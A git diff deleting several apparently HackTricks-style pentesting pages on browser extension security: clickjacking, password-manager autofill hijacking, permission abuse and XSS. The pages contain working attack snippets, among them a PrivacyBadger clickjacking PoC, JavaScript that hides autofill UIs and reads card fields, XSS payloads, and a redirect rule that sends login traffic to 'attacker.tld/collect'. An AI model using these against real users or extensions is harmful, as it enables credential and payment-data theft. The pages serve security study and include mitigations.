-- Automatic caching of scan results, running an extension scan will take a good amount of time the first time you run it. However the second time, assuming the extension hasn’t been updated, will be almost instant due to the results being cached.
-- Linkable Report URLs, easily link someone else to an extension report generated by tarnish.
-
-### [Neto](https://github.com/elevenpaths/neto)
-
-Project Neto is a Python 3 package conceived to analyse and unravel hidden features of browser plugins and extensions for well-known browsers such as Firefox and Chrome. It automates the process of unzipping the packaged files to extract these features from relevant resources in a extension like `manifest.json`, localization folders or Javascript and HTML source files.
-
-## References
-
-- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
-- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
-- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
-- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
-- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
-- [https://help.passbolt.com/assets/files/PBL-02-report.pdf](https://help.passbolt.com/assets/files/PBL-02-report.pdf)
-- [https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts)
-- [https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)
-- [https://developer.chrome.com/docs/extensions/mv2/background-pages](https://developer.chrome.com/docs/extensions/mv2/background-pages)
-- [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/)
-- [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
-- [https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/](https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/)
-- [https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension](https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
deleted file mode 100644
index ad2a092ac80..00000000000
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
+++ /dev/null
@@ -1,221 +0,0 @@
-# BrowExt - ClickJacking
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic Information
-
-This page is going to abuse a ClickJacking vulnerability in a Browser extension.\
-If you don't know what ClickJacking is check:
-
-
-{{#ref}}
-../clickjacking.md
-{{#endref}}
-
-Extensions contains the file **`manifest.json`** and that JSON file has a field `web_accessible_resources`. Here's what [the Chrome docs](https://developer.chrome.com/extensions/manifest/web_accessible_resources) say about it:
-
-> These resources would then be available in a webpage via the URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, which can be generated with the **`extension.getURL method`**. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
-
-The **`web_accessible_resources`** in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to:
-
-- Change the extension's state
-- Load additional resources
-- Interact with the browser to a certain extent
-
-However, this feature presents a security risk. If a resource within **`web_accessible_resources`** has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources.
-
-## PrivacyBadger Example
-
-In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
-
-```json
-"web_accessible_resources": [
-  "skin/*",
-  "icons/*"
-]
-```
-
-This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
-
-To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources.
-
-The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**.
-
-### PoC
-
-```html
-<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
-
-<style>
-  iframe {
-    width: 430px;
-    height: 300px;
-    opacity: 0.01;
-    float: top;
-    position: absolute;
-  }
-
-  #stuff {
-    float: top;
-    position: absolute;
-  }
-
-  button {
-    float: top;
-    position: absolute;
-    top: 168px;
-    left: 100px;
-  }
-</style>
-
-<div id="stuff">
-  <h1>Click the button</h1>
-  <button id="button">click me</button>
-</div>
-
-<iframe
-  src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
-</iframe>
-```
-
-## Metamask Example
-
-A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):
-
-<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
-
-**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted.
-
-## Steam Inventory Helper Example
-
-Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:
-
-
-{{#ref}}
-browext-xss-example.md
-{{#endref}}
-
----
-
-## DOM-based Extension Clickjacking (Password Manager Autofill UIs)
-
-Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data.
-
-### Threat model
-
-- Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
-- Victim has a password manager extension installed and unlocked (some autofill even when nominally locked).
-- At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).
-
-### Attack flow (manual autofill)
-
-1. Inject an invisible but focusable form (login/PII/credit-card fields).
-2. Focus an input to summon the extension’s autofill dropdown near the field.
-3. Hide or occlude the extension UI while keeping it interactable.
-4. Align a believable control under the hidden dropdown to coerce a click that selects an item.
-5. Read filled values from the attacker form and exfiltrate.
-
-### How to hide the autofill UI
-
-- Extension element
-  - Root element opacity (generic):
-
-```js
-// Reduce or nullify opacity of the extension root
-// Works when the root element is attached in the page DOM
-const root = document.querySelector('protonpass-root')
-if (root) root.style.opacity = 0
-```
-
-  - Child inside open ShadowRoot (dynamic tag, hide internal iframe):
-
-```js
-// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
-const root = Array.from(document.querySelectorAll('*'))
-  .find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
-if (root?.shadowRoot) {
-  const frame = root.shadowRoot.querySelector('iframe')
-  if (frame) frame.style.cssText += 'opacity:0 !important;'
-}
-```
-
-- Parent element
-  - BODY/HTML opacity tricks to make extension UI invisible while page looks normal (e.g., screenshot background):
-
-```js
-// Hide full page, then reveal a tiny amount to keep clicks working
-document.body.style.opacity = 0
-// Optional: Show a screenshot/lookalike to avoid a blank screen
-// document.documentElement.style.backgroundImage = 'url(website.png)'
-
-// Inject a credit-card form and focus to trigger dropdown
-/* create #cardform with #cardnumber, #expiry, #cvc */
-document.getElementById('cardnumber').focus()
-// Make body barely visible to allow user interaction
-document.body.style.opacity = '0.001'
-
-function getCardValues() {
-  const num = document.getElementById('cardnumber').value
-  const exp = document.getElementById('expiry').value
-  const cvc = document.getElementById('cvc').value
-  // exfiltrate via XHR/fetch/websocket
-}
-```
-
-- Overlay
-  - Partial overlay: occlude everything but a few pixels so the dropdown remains clickable (ensure attacker overlay is last in DOM with max z-index, or use Top Layer).
-  - Full overlay using pointer-events:none so clicks pass through to the hidden dropdown; keep it persistent with the Popover API:
-
-```html
-<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
-<script>
-  overlay.showPopover()
-  // Inject a personal data form and focus to trigger dropdown
-  /* create #personalform with #name/#email/#phone/... */
-  document.getElementById('name').focus()
-  function getData(){ /* read + exfil values on change */ }
-</script>
-```
-
-### Positioning the victim click
-
-- Fixed placement: position the hidden dropdown under a believable control such as “Accept cookies”, “Close”, or a CAPTCHA checkbox.
-- Follow-mouse: move the focused input under the cursor so the dropdown tracks it; refocus periodically so a single click anywhere selects an item:
-
-```js
-const f = document.getElementById('name')
-document.addEventListener('mousemove', e => {
-  personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
-  // some managers hide the dropdown if focus is lost; refocus slowly
-  setTimeout(() => f.focus(), 100)
-})
-```
-
-
-### Impact and scenarios
-
-- Attacker-controlled site: one coerced click can exfiltrate credit card data (number/expiry/CVC) and personal info (name, email, phone, address, DOB) that aren’t domain-scoped.
-- Trusted site with XSS/subdomain takeover/cache poisoning: multi-click theft of credentials (username/password) and TOTP, because many managers autofill across related subdomains/parent domains (e.g., `*.example.com`).
-- Passkeys: if the RP doesn’t bind WebAuthn challenges to the session, XSS can intercept the signed assertion; DOM-based clickjacking hides the passkey prompt to elicit the user’s confirming click.
-
-### Limitations
-
-- Requires at least one user click and decent pixel alignment (realistic overlays make clicks easy to solicit).
-- Auto-lock/logout reduces windows of exploitation; some managers still autofill while “locked”.
-
-### Extension developer mitigations
-
-- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
-- Resist CSS tampering: prefer Closed Shadow DOM and monitor with `MutationObserver` for suspicious style changes on UI roots.
-- Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable `pointer-events:none`, and use `elementsFromPoint()` to detect occlusion; close UI if overlays exist.
-- Detect suspicious `<body>`/`<html>` opacity or style changes both pre- and post-render.
-- For iframe-based issues: scope MV3 `web_accessible_resources` `matches` narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'`.
-
-
-## References
-
-- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
-- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
-- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
deleted file mode 100644
index 3c92bb2750c..00000000000
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ /dev/null
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-# BrowExt - permissions & host_permissions
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic Information
-
-### **`permissions`**
-
-Permissions are defined in the extension's **`manifest.json`** file using the **`permissions`** property and allow access to almost anything a browser can access (Cookies or Physical Storage):
-
-The previous manifest declares that the extension requires the `storage` permission. This means that it can use [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to store its data persistently. Unlike cookies or `localStorage` APIs which give users some level of control, **extension storage can normally only be cleared by uninstalling the extension**.
-
-An extension will request the permissions indicated in its **`manifest.json`** file and After installing the extension, you can **always check its permissions in your browser**, as shown in this image:
-
-<figure><img src="../../images/image (18).png" alt=""><figcaption></figcaption></figure>
-
-You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
-
-### `host_permissions`
-
-The optional but powerful setting **`host_permissions`** indicates with which hosts the extension is going to be able to interact via apis such as [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), and [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
-
-The following `host_permissions` basically allow every web:
-
-```json
-"host_permissions": [
-  "*://*/*"
-]
-
-// Or:
-"host_permissions": [
-  "http://*/*",
-  "https://*/*"
-]
-
-// Or:
-"host_permissions": [
-  "<all_urls>"
-]
-```
-
-These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS.
-
-## Abusing `permissions` and `host_permissions`
-
-### Cookies
-
-The **`cookies`** permission allows the extension to access **all the cookies** of the browser. In [**this blog post**](https://theindiannetwork.medium.com/reverse-engineering-a-browser-extension-led-me-to-a-dangerous-exploit-25-000-bounty-c7dda4601753) this permissions was abused through a **vulnerable backdound script** to abuse a browser extension to give the attacker all cookies of the browser of the victim user that accessed the malicious web page. The vulnerable code was just sending back all the cookies:
-
-```javascript
-chrome.runtime.onMessage.addListener(
-  function(request, sender, sendResponse) {
-    if (request.action == "getCookies") {
-      chrome.cookies.getAll({}, function(cookies) {
-        sendResponse({data: cookies});
-      });
-    }
-    return true;
-  }
-);
-```
-
-### Tabs
-
-Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of user’s browser tabs** back but also learn which **web page (meaning address and title) is loaded**.
-
-> [!CAUTION]
-> Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab.
-
-### Running content scripts <a href="#running-content-scripts" id="running-content-scripts"></a>
-
-Content scripts aren’t necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
-
-Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused.
-
-> [!CAUTION]
-> In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers.
-
-### Implicit privileges
-
-Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with.
-
-Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isn’t**.
-
-> [!CAUTION]
-> An extension can create any number of tabs whenever it wants.
-
-If you look through possible `tabs.create()` parameters, you’ll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesn’t allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
-
-[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well.
-
-### Webcam, geolocation and friends
-
-You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this.
-
-> [!CAUTION]
-> Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once**
-
-Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isn’t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly.
-
-With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything.
-
-Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the user’s entire browsing history all at once, without waiting for the user to visit these websites again.
-
-The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
-
-### Storage permission
-
-The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here.
-
-However, advertising companies could also abuse this storage.
-
-### Search provider hijacking with `chrome_settings_overrides`
-
-A **low-permission** extension can still **take over omnibox searches** via **`chrome_settings_overrides.search_provider`**. Chrome allows an extension to define a custom search endpoint containing **`{searchTerms}`**, so a manifest-only extension can silently route every address-bar search through operator-controlled infrastructure:
-
-```json
-"chrome_settings_overrides": {
-  "search_provider": {
-    "name": "Search",
-    "keyword": "search.example",
-    "search_url": "https://search.example/search?q={searchTerms}",
-    "is_default": true
-  }
-}
-```
-
-This is useful for **search affiliate hijacking** because the extension might need **no content scripts**, **no background logic**, and **no extra API permissions** while still gaining access to a very sensitive data stream: user search intent.
-
-### Auditing search-override abuse
-
-When reviewing a browser extension, check whether the advertised feature matches the search override:
-
-- Search for **`chrome_settings_overrides`**, **`search_provider`**, **`search_url`**, and **`is_default`** in `manifest.json`.
-- Flag **manifest-only shells** whose main behavior is changing the default search provider.
-- Compare the **extension branding** with the **search endpoint domain**. Utility/new-tab/map/video extensions pointing searches to unrelated domains are suspicious.
-- Inspect whether the redirect chain lands in **affiliate search networks**. Parameters such as **`hspart`** and **`hsimp`** are useful to attribute the broker/campaign behind Yahoo Hosted Search style monetization.
-- Cluster disposable extensions by repeated backend templates such as identical query parameters, shared paths like **`/admin/public/link`** or **`serp.php`**, and reused search domains.
-- Compare **store claims** and **privacy policies**. False claims such as “we do not track searches” are strong indicators when the extension clearly proxies queries.
-
-### Runtime redirect rules can hide the real routing
-
-Static package review may still miss the real search flow. An extension can ship benign-looking static rules and then install the real redirect logic at runtime via **`chrome.declarativeNetRequest.updateDynamicRules()`**.
-
-Practical checks:
-
-- Inspect the **service worker/background script** for `updateDynamicRules()`.
-- In an instrumented browser, dump live rules with **`chrome.declarativeNetRequest.getDynamicRules()`** from the extension context.
-- Capture **network traffic** while performing omnibox searches and follow the **full redirect chain** until the final search provider.
-- Treat decoy static files such as `redirect-rules.json` as insufficient evidence of benign behavior unless runtime rules and live traffic match.
-
-### More permissions
-
-Manifest V3 split page access from API permissions: **`permissions`** still governs privileged APIs (cookies, tabs, history, scripting, etc.) while **`host_permissions`** controls which origins those APIs can touch. MV3 also made host permissions **runtime‑grantable**, so extensions can ship with none and pop a consent prompt later via `chrome.permissions.request()`—handy for legit least‑privilege flows, but also abused by malware to escalate after reputation is established.
-
-A stealthy variant is **`declarativeNetRequestWithHostAccess`** (Chrome ≥96). It provides the same request‑blocking/redirect power as `declarativeNetRequest` but **shows a weaker install prompt** than `<all_urls>` host permissions. Malicious extensions use it to silently get “block/redirect on any site” capability; test prompts with `chrome://extensions/?errors` and `chrome://extensions/?id=<id>`.
-
-`declarativeNetRequest` dynamic rules let an extension reprogram network policy at runtime. With `<all_urls>` host access an attacker can weaponise it to hijack traffic or data exfil. Example:
-
-```javascript
-chrome.declarativeNetRequest.updateDynamicRules({
-  addRules: [{
-    id: 9001,
-    priority: 1,
-    action: {
-      type: "redirect",
-      redirect: { url: "https://attacker.tld/collect" }
-    },
-    condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
-  }]
-});
-```
-
-Chrome raised MV3 rule limits (≈330k static / 30k dynamic), so large coverage sets are feasible for interception/ads injection.
-
-
-### Recent abuse patterns
-
-* **Supply-chain trojanized updates:** Stolen developer accounts push MV3 updates that add `<all_urls>` plus `declarativeNetRequest`/`scripting`/`webRequest` to inject remote JS and siphon headers/DOM content.
-* **Wallet drains:** Host access plus `storage` and `tabs` lets backdoored wallet extensions exfiltrate seeds; stolen Web Store API keys have been used to ship malicious builds.
-* **Cookie theft:** Any extension with `cookies` + broad host access can read auth cookies despite `HttpOnly`—treat that combination as credential-stealing capable.
-
-
-## Prevention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
-
-The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store.
-
-Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities.
-
-However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness.
-
-## **References**
-
-- [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/)
-- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
-- [https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)
-- [https://developer.chrome.com/blog/resuming-the-transition-to-mv3/](https://developer.chrome.com/blog/resuming-the-transition-to-mv3/)
-- [https://malext.io/reports/SearchJack/](https://malext.io/reports/SearchJack/)
-- [https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override](https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override)
-- [https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest](https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
deleted file mode 100644
index 328a19e0b7b..00000000000
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
+++ /dev/null
@@ -1,121 +0,0 @@
-# BrowExt - XSS Example
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Cross-Site Scripting (XSS) through Iframe
-
-In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:
-
-```javascript
-chrome.storage.local.get("message", (result) => {
-  let constructedURL =
-    chrome.runtime.getURL("message.html") +
-    "?content=" +
-    encodeURIComponent(result.message) +
-    "&redirect=https://example.net/details"
-  frame.src = constructedURL
-})
-```
-
-A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL:
-
-```javascript
-$(document).ready(() => {
-  let urlParams = new URLSearchParams(window.location.search)
-  let userContent = urlParams.get("content")
-  $(document.body).html(
-    `${userContent} <button id='detailBtn'>Details</button>`
-  )
-  $("#detailBtn").on("click", () => {
-    let destinationURL = urlParams.get("redirect")
-    chrome.tabs.create({ url: destinationURL })
-  })
-})
-```
-
-A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script:
-
-```javascript
-setTimeout(() => {
-  let targetFrame = document.querySelector("iframe").src
-  let baseURL = targetFrame.split("?")[0]
-  let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
-  let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
-
-  document.querySelector("iframe").src = maliciousURL
-}, 1000)
-```
-
-An overly permissive Content Security Policy such as:
-
-```json
-"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
-```
-
-allows the execution of JavaScript, making the system vulnerable to XSS attacks.
-
-An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter:
-
-```javascript
-let newFrame = document.createElement("iframe")
-newFrame.src =
-  "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
-  encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
-document.body.append(newFrame)
-```
-
-## DOM-based XSS + ClickJacking
-
-This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
-
-The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below:
-
-```javascript
-$("#btAdd").on("click", function () {
-  var bookmarkName = $("#txtName").val()
-  if (
-    $(".custom-button .label").filter(function () {
-      return $(this).text() === bookmarkName
-    }).length
-  )
-    return false
-
-  var bookmarkItem = $('<div class="custom-button">')
-  bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
-  bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
-  bookmarkItem.attr("data-title", bookmarkName)
-  bookmarkItem.data("timestamp", new Date().getTime())
-  $("section.bookmark-container .existing-items").append(bookmarkItem)
-  persistData()
-})
-```
-
-This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuery’s `.append()` function.
-
-Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with ‘unsafe-eval’** and the use of jQuery’s DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible.
-
-While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button.
-
-To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy:
-
-```json
-"web_accessible_resources": [
-    "html/bookmarks.html",
-    "dist/*",
-    "assets/*",
-    "font/*",
-    [...]
-],
-```
-
-Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.
-
-## References
-
-- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
-- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
